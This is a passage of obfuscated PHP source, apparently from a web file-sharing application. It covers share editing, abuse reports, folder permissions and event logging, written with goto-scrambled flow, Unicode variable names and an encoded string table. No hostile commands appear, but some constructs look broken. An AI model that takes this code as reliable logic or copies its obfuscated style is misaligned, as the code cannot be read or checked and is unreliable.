$A¦ۺ[43]); $c = explode($A¦ۺ[57], $A¦ۺ[2200]); foreach ($c as $C踈) { if (!isset($D냇[$C踈])) { continue; } $DᢶɅ[$C踈] = $D냇[$C踈]; } goto E┺΂; b샼: return $E进; goto d򶲌; E┺΂: $E进 = $this->add($DᢶɅ); $FǃΈ = array($A¦ۺ[448] => short_id($E进)); $this->where(array($A¦ۺ[445] => $E进))->save($FǃΈ); goto b샼; F䈤: if ($Aۣ = $this->where($e݋)->find()) { return $Aۣ[$A¦ۺ[446]]; } if ($fݭ == 0) { $fՄҗ = array($A¦ۺ[38] => get_path_this($D냇[$A¦ۺ[85]])); } else { $fՄҗ = Model($A¦ۺ[753])->sourceInfo($fݭ); if (!$fՄҗ) { return !1; } } if (!$D냇[$A¦ۺ[1320]]) { $D냇[$A¦ۺ[1320]] = $fՄҗ[$A¦ۺ[38]]; } goto D; d򶲌: } private function _shareAuthSet($Cꛖ, $e։) { goto b׋; bز: $A->where(array($C冽[446] => $Cꛖ))->delete(); $a = array(); foreach ($e։ as $a) { $cȝ쯎 = SourceModel::TYPE_USER; if ($a[$C冽[376]] == SourceModel::TYPE_GROUP) { $cȝ쯎 = SourceModel::TYPE_GROUP; } $CLjҎ = array($C冽[446] => $Cꛖ, $C冽[376] => $cȝ쯎, $C冽[461] => intval($a[$C冽[461]]), $C冽[2202] => 0, $C冽[2203] => -1); if ($a[$C冽[2202]]) { $CLjҎ[$C冽[2202]] = $a[$C冽[2202]]; } else { if ($a[$C冽[2203]]) { $CLjҎ[$C冽[2203]] = $a[$C冽[2203]]; } } $a[] = $CLjҎ; } goto dÄן; dÄן: return $A->addAll($a, array(), !0); goto F; b׋: $C冽 =& $_SERVER[ȦÆ]; if (!is_array($e։)) { return !1; } $A = Model($C冽[2201]); goto bز; F: } public function numViewAdd($F˜) { $Cѹ԰ =& $_SERVER[ȦÆ]; $Bڪ = array($Cѹ԰[445] => $F˜); $this->where($Bڪ)->setAdd($Cѹ԰[2197]); } public function numDownloadAdd($aጛ) { $A̖ӇÒ =& $_SERVER[ȦÆ]; $E샞 = array($A̖ӇÒ[445] => $aጛ); $this->where($E샞)->setAdd($A̖ӇÒ[2198]); } protected function shareEdit($e˴, $b«) { goto Aͺ; D: foreach ($aҎ as $b) { if (!array_key_exists($b, $b«)) { continue; } $B[$b] = $b«[$b]; } $this->shareEventAdd($a[$a顇[374]], $b«, $a顇[2042]); $this->where(array($a顇[445] => $e˴))->save($B); goto Dࣕ; e: $this->_checkLinkShare($b«, $a); $B = array(); $aҎ = explode($a顇[57], $a顇[2204]); goto D; Aͺ: $a顇 =& $_SERVER[ȦÆ]; $a = $this->getInfo($e˴); if (!$a) { return !1; } goto e; Dࣕ: if (isset($b«[$a顇[2190]])) { $this->_shareAuthSet($e˴, $b«[$a顇[2190]]); } return !0; goto Eք; Eք: } private function _checkLinkShare($dэ䬆, $Cͧ²) { goto eʞ; eʞ: $eը =& $_SERVER[ȦÆ]; if ($dэ䬆[$eը[451]] != $eը[93]) { return; } $Aً = $Cͧ²[$eը[396]][$eը[374]]; goto cަڤ; eܚм: $Bښ = $this->shareFileMeta($B܅[$eը[424]]); if (isset($Bښ[$eը[364]]) && $Bښ[$eը[364]] == $eը[93]) { show_json(LNG($eը[2207]), !1); } goto c暣܈; cަڤ: if ($Cͧ²[$eը[396]][$eը[39]] != $eը[173]) { $Cȩ = $this->_folderReport($Aً); if (!$Cȩ) { return; } show_json(LNG($eը[2205]) . $eը[2206] . $Cȩ, !1); } $B܅ = Model($eը[753])->fileInfoGet($Cͧ²[$eը[396]][$eը[374]]); if (!$B܅) { return; } goto eܚм; c暣܈: } private function _folderReport($fʭ) { goto cؠ֋; cؠ֋: $A =& $_SERVER[ȦÆ]; $DŶ = array($A[424] => array($A[921], 0), $A[690] => 3); $a֮ = Model($A[2208])->where($DŶ)->field($A[424])->select(); goto C; bп: $FȊ셿 = substr($fָ[$A[464]], strpos($fָ[$A[464]], $c)); $DŶ = array($A[374] => array($A[17], trim($FȊ셿, $A[57]))); $B = Model($A[753])->where($DŶ)->field($A[38])->select(); goto A; A: $Aↄ = array_to_keyvalue($B, $A[43], $A[38]); $Aↄ[] = $fָ[$A[38]]; return implode($A[18], $Aↄ); goto AȂņ; C럊: $DŶ = array($A[424] => array($A[17], $a֮), $A[464] => array($A[752], "\45{$c}\x25"), $A[402] => 0); $fָ = Model($A[753])->where($DŶ)->field($A[2209])->find(); if (!$fָ) { return !1; } goto bп; C: if (!$a֮) { return !1; } $a֮ = array_to_keyvalue($a֮, $A[43], $A[424]); $c = $A[57] . $fʭ . $A[57]; goto C럊; AȂņ: } protected function remove($Fꌷ) { goto Bتͯ; Fꕟ: for ($aЮ۳ = 0; $aЮ۳ < count($cė); $aЮ۳++) { $fی = $this->getInfo($cė[$aЮ۳]); if ($fی[$C컦[453]] == $C컦[93]) { Model($C컦[510])->eventShare($fی[$C컦[374]], $C컦[2195]); } if ($fی[$C컦[451]] == $C컦[93]) { Model($C컦[510])->eventShare($fی[$C컦[374]], $C컦[2194]); } } return $D; goto bك; Bتͯ: $C컦 =& $_SERVER[ȦÆ]; if (is_array($Fꌷ)) { $Fꌷ = array($C컦[17], $Fꌷ); } $fԱ = array($C컦[446] => $Fꌷ); goto a; a: $D = $this->where($fԱ)->delete(); if ($D) { Model($C컦[542])->where(array($C컦[446] => $Fꌷ))->delete(); } $cė = is_array($Fꌷ) ? $Fꌷ[1] : array($Fꌷ); goto Fꕟ; bك: } protected function removeBySource($fӤݭ) { goto E; E򴝱: $b݉ = array_to_keyvalue($b݉, $F̮[43], $F̮[446]); if (!$b݉) { return; } $dÏ = array($F̮[445] => array($F̮[389], $b݉)); goto CӸ닂; E: $F̮ =& $_SERVER[ȦÆ]; $dÏ = array($F̮[388] => array($F̮[389], $fӤݭ)); $b݉ = $this->field($F̮[446])->where($dÏ)->select(); goto E򴝱; CӸ닂: $this->where($dÏ)->delete(); Model($F̮[542])->where($dÏ)->delete(); goto c; c: } public function listAll($dя) { goto Dݦ㸉; E옆: if ($dя[$EĚ[703]]) { $e׆ۉ = $dя[$EĚ[704]] ? $dя[$EĚ[704]] : strtotime(date($EĚ[2210])); $C얥߰[$EĚ[193]] = array($EĚ[326], array($dя[$EĚ[703]], $e׆ۉ)); } if ($dя[$EĚ[39]]) { $C얥߰[$dя[$EĚ[39]]] = 1; } else { $C얥߰[] = array($EĚ[451] => array($EĚ[921], 0), $EĚ[453] => array($EĚ[921], 0), $EĚ[2185] => $EĚ[2154]); } if ($dя[$EĚ[2150]]) { $C얥߰[] = array($EĚ[448] => $dя[$EĚ[2150]], $EĚ[1320] => array($EĚ[752], "\x25{$dя[$EĚ[2150]]}\45"), $EĚ[2185] => $EĚ[2154]); } goto B݆; Dݦ㸉: $EĚ =& $_SERVER[ȦÆ]; $C얥߰ = array(); if ($dя[$EĚ[1412]]) { $C얥߰[$EĚ[1412]] = $dя[$EĚ[1412]]; } goto E옆; Eٟ: return $f˙Ć; goto bܳ; B݆: $f˙Ć = $this->_makeOrder()->where($C얥߰)->selectPage(20); if (empty($f˙Ć[$EĚ[359]])) { return array(); } $this->_listDataApply($f˙Ć[$EĚ[359]]); goto Eٟ; bܳ: } public function listDataApply($A㙱) { $this->_listDataApply($A㙱); return $A㙱; } private function _listDataApply(&$F򘲙) { $eœ =& $_SERVER[ȦÆ]; $c = array_to_keyvalue($F򘲙, $eœ[43], $eœ[1412]); $d춒ߤ = Model($eœ[482])->userListInfo(array_unique($c)); $cд = array_to_keyvalue($F򘲙, $eœ[43], $eœ[374]); $A = Model($eœ[753])->sourceListInfo($cд, !0); foreach ($F򘲙 as &$C) { $fҽݎ = $C[$eœ[1412]]; $C[$eœ[2211]] = $d춒ߤ[$fҽݎ] ? $d춒ߤ[$fҽݎ] : !1; $C = $C[$eœ[374]]; $C[$eœ[396]] = $A[$C] ? $A[$C] : !1; } } private function _makeOrder($bђ넳 = '') { goto dܬ; C͸Ѽ: $b = Input::get($cϖ[412], $cϖ[17], $cϖ[394], $fկ); $dק = Input::get($cϖ[413], $cϖ[17], $cϖ[2212], array($cϖ[2149], $cϖ[409])); $dק = $F[$dק]; goto aϝ; aϝ: $bђ넳 = $bђ넳 . "{$b}\x20{$dק}"; return $this->order($bђ넳); goto A; dܬ: $cϖ =& $_SERVER[ȦÆ]; $fկ = array($cϖ[193], $cϖ[704], $cϖ[2197], $cϖ[2198]); $F = array($cϖ[407] => $cϖ[408], $cϖ[409] => $cϖ[410]); goto C͸Ѽ; A: } public function reportAdd($Cǰڙ) { $AϤ =& $_SERVER[ȦÆ]; $C⳦ = array($AϤ[446] => $Cǰڙ[$AϤ[446]], $AϤ[1412] => USER_ID); if (Model($AϤ[2208])->where($C⳦)->find()) { return !1; } $C = array($AϤ[446] => $Cǰڙ[$AϤ[446]], $AϤ[1320] => $Cǰڙ[$AϤ[1320]], $AϤ[374] => $Cǰڙ[$AϤ[374]], $AϤ[424] => $Cǰڙ[$AϤ[424]], $AϤ[1412] => USER_ID, $AϤ[39] => $Cǰڙ[$AϤ[39]], $AϤ[410] => $Cǰڙ[$AϤ[410]]); return Model($AϤ[2208])->add($C); } public function reportList($aЌ) { goto F󺒰; F󺒰: $b =& $_SERVER[ȦÆ]; $E۹ = array(); if ($aЌ[$b[703]]) { $aۓ = $aЌ[$b[704]] ? $aЌ[$b[704]] : strtotime(date($b[2210])); $E۹[$b[193]] = array($b[326], array($aЌ[$b[703]], $aۓ)); } goto aԔֽ; aԔֽ: if (isset($aЌ[$b[39]]) && in_array($aЌ[$b[39]], array($b[93], $b[2213], $b[2214], $b[2215], $b[1890]))) { $E۹[$b[39]] = $aЌ[$b[39]]; } if (isset($aЌ[$b[690]]) && in_array($aЌ[$b[690]], array($b[473], $b[93], $b[2213], $b[2214]))) { $E۹[$b[690]] = $aЌ[$b[690]]; } $aς = Input::get($b[413], $b[17], $b[2212], array($b[2149], $b[409])); goto f܊; f܊: $C = array($b[407] => $b[408], $b[409] => $b[410]); $c = $b[2216] . $C[$aς]; $eއ̣ = Model($b[2208])->where($E۹)->order($c)->selectPage(20); goto A١; A١: if (empty($eއ̣[$b[359]])) { return array(); } $this->_listDataApply($eއ̣[$b[359]]); return $eއ̣; goto Bč; Bč: } public function reportStatus($F) { goto b޲; Cͦ: if (!$F) { return !1; } $aӄ = array($FА[690] => $F[$FА[690]]); if ($F[$FА[690]] == $FА[2214] && $F[$FА[690]] == $FА[2214]) { $aӄ[$FА[690]] = 0; } goto Dø; AƃDž: return $F; goto d; Dø: $F = Model($FА[2208])->where($Aω)->save($aӄ); if ($F[$FА[690]] == $FА[2213]) { if ($F[$FА[424]] != $FА[473] && $this->shareFileMeta($F[$FА[424]])) { $this->shareFileMeta($F[$FА[424]], 0); } $this->remove($F[$FА[446]]); return !0; } if ($F && $F[$FА[690]] == $FА[2214]) { $A߃ = $aӄ[$FА[690]] == $FА[2214] ? 1 : 0; $this->shareFileMeta($F[$FА[424]], $A߃); $this->removeByFile($F[$FА[424]]); } goto AƃDž; b޲: $FА =& $_SERVER[ȦÆ]; $Aω = array($FА[372] => $F[$FА[372]]); $F = Model($FА[2208])->where($Aω)->field($FА[2217])->find(); goto Cͦ; d: } private function removeByFile($A) { goto c䠪; DȮ: $aڑ = array_to_keyvalue($Cٌ, $CΑ︃[43], $CΑ︃[446]); $this->remove($aڑ); goto A̫뽯; c䠪: $CΑ︃ =& $_SERVER[ȦÆ]; $Cٌ = Model($CΑ︃[753])->where(array($CΑ︃[424] => $A))->field($CΑ︃[374])->select(); $e톉 = array_to_keyvalue($Cٌ, $CΑ︃[43], $CΑ︃[374]); goto Fэʅә; Fэʅә: $D¦ = array($CΑ︃[374] => array($CΑ︃[17], $e톉), $CΑ︃[451] => 1); $Cٌ = Model($CΑ︃[2051])->where($D¦)->field($CΑ︃[446])->select(); if (empty($Cٌ)) { return; } goto DȮ; A̫뽯: } private function shareFileMeta($E, $Aʹ❛ = null) { $F =& $_SERVER[ȦÆ]; $e = array($F[424] => $E, $F[99] => $F[2218]); if (is_null($Aʹ❛)) { return Model($F[2219])->where($e)->find(); } $e[$F[364]] = $Aʹ❛; Model($F[2219])->add($e, array(), !0); } } class SourceAuthModel extends ModelBase { protected $tableName = "\151\x6f\137\x73\x6f\165\x72\x63\145\137\141\x75\x74\150"; public function getAuth($CΑڮ) { goto Cȳ; Cȳ: $A =& $_SERVER[ȦÆ]; $B = $A[2220]; $C˕͙ = array($A[374] => $CΑڮ); goto Dʇ; Dʇ: $c˜ = $this->field($B)->order($A[372])->where($C˕͙)->select(); $Cז = array(); foreach ($c˜ as $eۆ) { if (Model($A[2221])->listData($eۆ[$A[2202]])) { $Cז[] = $eۆ; } } goto e֭; e֭: return $Cז; goto F젶; F젶: } public function setAuth($Cщڅ, $fݚϛ) { goto aу; eõ: $f = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $Dă = array(); foreach ($fݚϛ as $Fڅ龚) { if (!in_array($Fڅ龚[$E[376]], $f)) { show_json(LNG($E[2222]), !1); } if ($B菳 != $B) { if ($Fڅ龚[$E[376]] == SourceModel::TYPE_GROUP) { } if ($Fڅ龚[$E[461]] != 0 && !in_array($Fڅ龚[$E[461]], $Eݴ)) { } } if ($Fڅ龚[$E[461]] == 0) { $Fڅ龚[$E[376]] = SourceModel::TYPE_USER; } $Dă[] = array($E[374] => $Cщڅ, $E[376] => intval($Fڅ龚[$E[376]]), $E[461] => intval($Fڅ龚[$E[461]]), $E[2202] => intval($Fڅ龚[$E[2202]]) ? intval($Fڅ龚[$E[2202]]) : 0, $E[2203] => intval($Fڅ龚[$E[2203]]) ? intval($Fڅ龚[$E[2203]]) : -1); } goto e; aŭ: $B = 1; $B菳 = $Aƒߥ[$E[461]]; if ($B菳 != $B) { $cލ = array($E[2074] => $B菳); $Eݴ = Model($E[2148])->field($E[1412])->where($cލ)->select(); $Eݴ = array_to_keyvalue($Eݴ, $E[43], $E[1412]); } goto eõ; aу: $E =& $_SERVER[ȦÆ]; $Aƒߥ = Model($E[1103])->sourceInfo($Cщڅ); if ($Aƒߥ[$E[376]] != SourceModel::TYPE_GROUP) { return !1; } goto aŭ; e: $this->where(array($E[388] => $Cщڅ))->delete(); $this->addAll($Dă); return !0; goto Fшɟ; Fшɟ: } public function authClear($c) { $aڮ =& $_SERVER[ȦÆ]; $Dʴ = Model($aڮ[1103])->sourceInfo($c); $aĔꬳ = array($c); if ($Dʴ[$aڮ[375]] == $aڮ[93]) { $Cִ = array($aڮ[530] => array($aڮ[488], $Dʴ[$aڮ[464]] . $c . $aڮ[489])); $aĔꬳ = Model($aڮ[1103])->field($aڮ[388])->where($Cִ)->getField($aڮ[374], !0); $aĔꬳ[] = $c; } $this->where(array($aڮ[388] => array($aڮ[389], $aĔꬳ)))->delete(); return !0; } public function get($D) { $fː = $this->getSourceList(array($D), !0); return $fː[0]; } public function getSourceList($b, $c = false) { goto bȪ; EƏ: $F̤ = array($eÜՌ[388] => array($eÜՌ[389], $F󍋰)); $eȺõ = $this->field($A譎)->where($F̤)->select(); $eȺõ = array_to_keyvalue_group($eȺõ, $eÜՌ[374]); goto Fړσ; bȪ: $eÜՌ =& $_SERVER[ȦÆ]; if (!$b) { return array(); } $cÄˌ = Model($eÜՌ[1103]); goto Bɂ; Fړσ: $Dà = array(); foreach ($c as $FԊ => $a܋) { $DÃ[$FԊ] = $this->makeSourceAuth($a܋, $eȺõ); } return $DÃ; goto eѢ; fᾎ: $F󍋰 = array_values(array_unique($F󍋰)); if (!$F󍋰) { return array(); } $A譎 = $eÜՌ[2224]; goto EƏ; Bɂ: if (!$c) { $F̤ = array($eÜՌ[388] => array($eÜՌ[389], $b)); $c = $cÄˌ->field($eÜՌ[2223])->where($F̤)->select(); $c = array_to_keyvalue($c, $eÜՌ[374]); } $F󍋰 = $b; foreach ($c as $A܌ => $Fי) { $Cɟ = $cÄˌ->parentLevelArray($Fי[$eÜՌ[464]]); $F󍋰 = array_merge($F󍋰, $Cɟ, array($A܌)); } goto fᾎ; eѢ: } public function authDeepCheck($F, $AΏ֥ = false) { $d든 =& $_SERVER[ȦÆ]; if (_get($GLOBALS, $d든[462])) { return !1; } $c֟ = $this->makeAuthDeep(); if (!in_array($F, $c֟)) { return !1; } return array($d든[382] => -1, $d든[423] => array($d든[390] => $d든[1024], $d든[2080] => $d든[473], $d든[391] => LNG($d든[2225]), $d든[2092] => $d든[2226]), $d든[2227] => array($d든[393] => $d든[2228], $d든[85] => $F)); } protected function makeAuthDeep() { goto b˹; fჇ: $fɄ = array_values(array_unique($fɄ)); foreach ($fɄ as $Fׅ) { $a߈ = $c󰍢->getInfo($Fׅ); $fͱ[] = $a߈[$cߟ[396]][$cߟ[374]]; } $fͱ = array_values(array_unique($fͱ)); goto fճ; F񗰭֣: $fɄ = array_values(array_unique($fɄ)); $e = $fɄ; foreach ($e as $Fׅ) { $a߈ = $c󰍢->getInfo($Fׅ); $F = $E߉->parentLevelArray($a߈[$cߟ[464]]); $fɄ = array_merge($fɄ, $F); } goto fჇ; F: $Bݢ = Model($cߟ[2229])->listData(); $C = array(); foreach ($Bݢ as $fӠ) { if ($fӠ[$cߟ[381]] == 0 && $fӠ[$cߟ[2094]] == $cߟ[93]) { $C[] = $fӠ[$cߟ[372]]; } } goto bԋ; b˹: $cߟ =& $_SERVER[ȦÆ]; static $fͱ = false; if ($fͱ) { return $fͱ; } goto F; FŎ: $E߉ = Model($cߟ[1103]); $c󰍢 = Model($cߟ[463]); if ($dۤ) { $B = $E߉->where(array($cߟ[374] => array($cߟ[389], $dۤ)))->select(); foreach ($B as $eڡ) { $F = $E߉->parentLevelArray($eڡ[$cߟ[464]]); $fͱ = array_merge($fͱ, $F); $fɄ[] = $eڡ[$cߟ[461]]; } } goto F񗰭֣; bԋ: $AϞ֒ = Session::get($cߟ[2186]); $AϞ֒ = array_to_keyvalue($AϞ֒, $cߟ[43], $cߟ[2074]); $D = array($cߟ[376] => SourceModel::TYPE_USER, $cߟ[461] => USER_ID); goto cۘӋ; cۘӋ: if ($AϞ֒) { $D = array(array($cߟ[376] => SourceModel::TYPE_USER, $cߟ[461] => USER_ID), array($cߟ[376] => SourceModel::TYPE_GROUP, $cߟ[461] => array($cߟ[389], $AϞ֒)), $cߟ[909] => $cߟ[2154]); } if ($C) { $D = array($D, $cߟ[2202] => array($cߟ[2230], $C)); } $c؊ = $this->field($cߟ[2231])->where($D)->select(); goto b٧蹳; fճ: return $fͱ; goto A; b٧蹳: $dۤ = array_to_keyvalue($c؊, $cߟ[43], $cߟ[374]); $fͱ = array(); $fɄ = $AϞ֒; goto FŎ; A: } private function makeSourceAuth($B֨, $eպ) { goto C; a: if (!$fڭʍ && $B֨[$C[376]] == SourceModel::TYPE_GROUP) { $E = Model($C[463])->getInfo($B֨[$C[461]]); $a = explode($C[57], trim($e[$C[464]], $C[57])); foreach ($a as $Aˆۍ) { if ($Aˆۍ == $C[473] || $Aˆۍ == $f㈏؄) { continue; } if (!isset($C[$Aˆۍ])) { continue; } $b = $C[$Aˆۍ]; $fڭʍ = array($C[2232] => intval($b[$C[381]][$C[381]]), $C[2233] => $b[$C[381]], $C[2227] => array($C[393] => $C[2236], $C[2237] => $E[$C[396]][$C[374]], $C[2235] => $E[$C[468]])); break; } } if ((!$fڭʍ || $fڭʍ[$C[382]] <= 0) && $B֨[$C[376]] == SourceModel::TYPE_GROUP) { $c = $this->authDeepCheck($B֨[$C[374]], $fڭʍ); if ($c) { $fڭʍ = $c; } } return $fڭʍ; goto c; Aɏ: $f㈏؄ = $C[93]; $CЃ = Model($C[1103])->parentLevelArray($B֨[$C[464]]); $CЃ = array_merge(array($B֨[$C[374]]), array_reverse($CЃ)); goto E諻; E諻: $fڭʍ = !1; foreach ($CЃ as $fѾ) { if (!isset($eպ[$fѾ])) { continue; } $f옦ʼn = $this->authMake($eպ[$fѾ]); if ($f옦ʼn[$C[423]]) { $fڭʍ = $f옦ʼn; break; } } if (!$fڭʍ && $B֨[$C[376]] == SourceModel::TYPE_GROUP) { $Aˆۍ = $B֨[$C[461]]; if (isset($C[$Aˆۍ])) { $b = $C[$Aˆۍ]; $E = Model($C[463])->getInfo($Aˆۍ); $fڭʍ = array($C[2232] => intval($b[$C[381]][$C[381]]), $C[2233] => $b[$C[381]], $C[2227] => array($C[393] => $C[2234], $C[85] => $E[$C[396]][$C[374]], $C[2235] => $E[$C[468]])); } } goto a; C: $C =& $_SERVER[ȦÆ]; $C = Session::get($C[2186]); $C = array_to_keyvalue($C, $C[2074]); goto Aɏ; c: } public function authOwnerApply($cО) { goto E; f髽: $cО[$F಺[381]][$F಺[2240]] = Model($F಺[479])->userListInfo($B); return $cО; goto F¸; c: $D = Model($F಺[1103])->parentLevelArray($cО[$F಺[464]]); $D = array_merge(array($cО[$F಺[374]]), array_reverse($D)); $b֖ǔ = $F಺[2224]; goto Eɟْ; eة: $dۍ̇ = array(); $B = array(); foreach ($E̲ as $c爂 => $FތƔ) { $eϑζ = $this->authFolderOwnerUser($FތƔ); $dۍ̇[$c爂] = $eϑζ; $B = array_merge($B, $eϑζ[$F಺[540]]); if ($eϑζ[$F಺[2239]]) { break; } } goto B; E: $F಺ =& $_SERVER[ȦÆ]; if (empty($cО[$F಺[381]]) || isset($cО[$F಺[2238]]) && $cО[$F಺[2238]]) { return $cО; } if (AuthModel::authCheckRoot($cО[$F಺[381]][$F಺[382]])) { return $cО; } goto c; Eɟْ: $C = array($F಺[388] => array($F಺[389], $D)); $E̲ = $this->field($b֖ǔ)->where($C)->select(); $E̲ = array_to_keyvalue_group($E̲, $F಺[374]); goto eة; B: if (count($B) == 0) { $B = $this->authFolderOwnerGroup($cО[$F಺[461]]); } $B = array_unique($B); if (AuthModel::authCheckRoot($cО[$F಺[381]][$F಺[382]])) { $B[] = USER_ID; } goto f髽; F¸: } private function authFolderOwnerGroup($Aʦ֝) { $b =& $_SERVER[ȦÆ]; $a = Model($b[2148])->where(array($b[2074] => $Aʦ֝))->select(); $F纗˙ = array(); if (!$a) { return $F纗˙; } foreach ($a as $b) { $aυ = $this->authInfo($b); if (AuthModel::authCheckRoot($aυ[$b[381]])) { $F纗˙[] = $b[$b[1412]]; } } return $F纗˙; } private function authFolderOwnerUser($aŎ) { $Eޥɖ =& $_SERVER[ȦÆ]; $AӍ = array(); $CȊ = !1; foreach ($aŎ as $C֏Ԑ) { $aԇ = $this->authInfo($C֏Ԑ); if ($C֏Ԑ[$Eޥɖ[461]] == $Eޥɖ[473]) { $CȊ = !0; } if ($C֏Ԑ[$Eޥɖ[376]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($aԇ[$Eޥɖ[381]])) { $AӍ[] = $C֏Ԑ[$Eޥɖ[461]]; } } } return array($Eޥɖ[540] => $AӍ, $Eޥɖ[2239] => $CȊ); } public function authMake($aڎ) { goto b; a݆܉: $c걯 = array($FҲ챫[2232] => intval($bϙ), $FҲ챫[2233] => $D嗇ޝ, $FҲ챫[2227] => array($FҲ챫[393] => $c򼳄, $FҲ챫[85] => $C䑘[$FҲ챫[374]])); return $c걯; goto dѥ; b: $FҲ챫 =& $_SERVER[ȦÆ]; if (!$aڎ) { return array($FҲ챫[382] => 0, $FҲ챫[423] => !1); } $Bij = Session::get($FҲ챫[2186]); goto CƄ; F: $D߱ = 0; $C = 0; $d̿ = 0; goto Fԩȅ; Aِ: $e = 0; $C䑘 = array($FҲ챫[374] => 0); foreach ($aڎ as $C䑘) { $D嗇ޝ = $this->authInfo($C䑘); $eق = $C䑘[$FҲ챫[461]]; $f픈 = intval($D嗇ޝ[$FҲ챫[381]]); if ($C䑘[$FҲ챫[376]] == SourceModel::TYPE_USER && $eق == USER_ID) { $Bœʛ = !0; $C = $D嗇ޝ; $cՇȏ = $f픈; } else { if ($C䑘[$FҲ챫[376]] == SourceModel::TYPE_GROUP && in_array($eق, $E)) { $FóΝ = !0; if ($f픈 >= $E؄ɖ) { $E؄ɖ = $f픈; $d̿ = $D嗇ޝ; } } else { if ($eق == $FҲ챫[473]) { $e = !0; $dټ = $D嗇ޝ; $D߱ = $f픈; } } } } goto c۴ɇ; c۴ɇ: $bϙ = $Bœʛ ? $cՇȏ : ($FóΝ ? $E؄ɖ : $D߱); $D嗇ޝ = $Bœʛ ? $C : ($FóΝ ? $d̿ : $dټ); $c򼳄 = $Bœʛ ? $FҲ챫[2241] : ($FóΝ ? $FҲ챫[2242] : ($e ? $FҲ챫[2243] : $FҲ챫[366])); goto a݆܉; CƄ: $E = array_to_keyvalue($Bij, $FҲ챫[43], $FҲ챫[2074]); $cՇȏ = 0; $E؄ɖ = 0; goto F; Fԩȅ: $dټ = 0; $Bœʛ = 0; $FóΝ = 0; goto Aِ; dѥ: } public function authTargetInfoMake($F) { goto Bݶ; Dޝ: return array($EĘ[2244] => $a˾, $EĘ[2235] => $a؃); goto fŅՃ; B: foreach ($F as $d洳늅) { if ($d洳늅[$EĘ[376]] == SourceModel::TYPE_USER) { $a˾[] = intval($d洳늅[$EĘ[461]]); } else { if ($d洳늅[$EĘ[376]] == SourceModel::TYPE_GROUP) { $a؃[] = intval($d洳늅[$EĘ[461]]); } } } if ($a˾) { $a˾ = Model($EĘ[479])->userListInfo($a˾); } if ($a؃) { $fŬ = array($EĘ[2146] => array($EĘ[389], $a؃)); $a؃ = Model($EĘ[463])->field($EĘ[2159])->where($fŬ)->select(); $a؃ = array_to_keyvalue($a؃, $EĘ[2074]); } goto Dޝ; Bݶ: $EĘ =& $_SERVER[ȦÆ]; $a˾ = array(); $a؃ = array(); goto B; fŅՃ: } private function authInfo($c񶋕) { $fœȹ =& $_SERVER[ȦÆ]; if ($c񶋕[$fœȹ[2202]]) { $D秉 = Model($fœȹ[2221])->listData($c񶋕[$fœȹ[2202]]); if (!$D秉) { return !1; $aʼ = Model($fœȹ[2221])->listData(); $Dٟ = array_filter_by_field($aʼ, $fœȹ[381], $fœȹ[473]); return $Dٟ; } $B̔ = array_field_key($D秉, array($fœȹ[372], $fœȹ[38], $fœȹ[381], $fœȹ[2092], $fœȹ[2095])); $B̔[$fœȹ[2245]] = $c񶋕; return $B̔; } else { return array($fœȹ[390] => 0, $fœȹ[2080] => $c񶋕[$fœȹ[2203]], $fœȹ[391] => $fœȹ[43], $fœȹ[2092] => $fœȹ[2246]); } } } class SourceEventModel extends ModelBase { protected $tableName = "\x69\157\x5f\x73\157\x75\x72\143\145\x5f\145\x76\x65\156\x74"; protected $dataAuto = array(array("\143\162\x65\x61\x74\x65\124\x69\155\x65", "\164\151\155\x65", "\x69\x6e\x73\145\x72\x74", "\146\165\156\143\x74\151\157\156"), array("\144\145\163\143", '', "\151\x6e\163\145\x72\x74\54\x75\x70\144\141\x74\145\54\163\x65\x6c\145\x63\x74", "\152\163\157\156")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($B, $fʴ, $E׊ = '') { goto f; f: $D׹釶 =& $_SERVER[ȦÆ]; if (!$this->eventSave) { return; } $dѣ = Model($D׹釶[1103])->sourceInfo($B); goto b; d™: $bڰ = array($D׹釶[388] => $B, $D׹釶[2247] => $dѣ[$D׹釶[466]], $D׹釶[2248] => $dѣ[$D׹釶[38]], $D׹釶[471] => $dѣ[$D׹釶[471]], $D׹釶[1403] => USER_ID, $D׹釶[393] => $fʴ, $D׹釶[1405] => $E׊); $this->addSystemLog($fʴ, $bڰ); return $this->add($bڰ); goto EՐΎ; b: if (!$dѣ) { return !1; } if ($this->isCacheEvent($dѣ, $fʴ)) { return; } if ($E׊ && is_string($E׊)) { $E׊ = array($D׹釶[2104] => $E׊); } goto d™; EՐΎ: } private function addSystemLog($bʇ, $C) { $A =& $_SERVER[ȦÆ]; if ($bʇ == $A[2249]) { $bʇ = $C[$A[410]][$A[2250]]; } else { if (in_array($bʇ, array($A[2051], $A[2251]))) { $bʇ = $C[$A[410]][$A[693]]; } } $E˪ = array_merge($C, array($A[2252] => $C[$A[374]], $A[2253] => $C[$A[2253]])); Model($A[2015])->addLog($A[2254] . $bʇ, $E˪); } private function isCacheEvent($Dًф, $FLJ) { if ($Dًф[$_SERVER[ȦÆ][376]] == SourceModel::TYPE_SYSTEM) { return !0; } return !1; } public function eventCreate($f, $c㵩) { $e =& $_SERVER[ȦÆ]; $F = Model($e[1103])->sourceInfo($f); $c = array($e[2250] => $c㵩, $e[38] => $F[$e[38]]); return $this->addEvent($f, $e[2249], $c); } public function eventFileEdit($a) { $d =& $_SERVER[ȦÆ]; $Cӓ = array($d[2255] => $_SERVER[$d[2256]], $d[1721] => strtolower(ACTION)); return $this->addEvent($a, $d[2042], $Cӓ); } public function eventRecycle($B՞, $AΠ땍) { return $this->addEvent($B՞, $_SERVER[ȦÆ][2251], $AΠ땍); } public function eventRemove($D׏) { $Cʽ =& $_SERVER[ȦÆ]; $f؈ = Model($Cʽ[1103])->sourceInfo($D׏); $d = $f؈[$Cʽ[38]]; return $this->addEvent($f؈[$Cʽ[466]], $Cʽ[2041], $d); } public function eventShare($e, $Cꃃ) { return $this->addEvent($e, $_SERVER[ȦÆ][2051], $Cꃃ); } public function eventMove($C䮥ټ, $cڢ, $dΘۨ) { goto d𢇄; B탆ڊ: $c憇 = $a->sourceInfo($cڢ); $a梳 = $a->sourceInfo($dΘۨ); $bǮ = array($EΦک[999] => $cڢ, $EΦک[2257] => $c憇[$EΦک[38]], $EΦک[2258] => $c憇[$EΦک[471]], $EΦک[1000] => $dΘۨ, $EΦک[2259] => $a梳[$EΦک[38]], $EΦک[2260] => $a梳[$EΦک[471]]); goto dᅂ; d𢇄: $EΦک =& $_SERVER[ȦÆ]; $a = Model($EΦک[1103]); $F趡 = 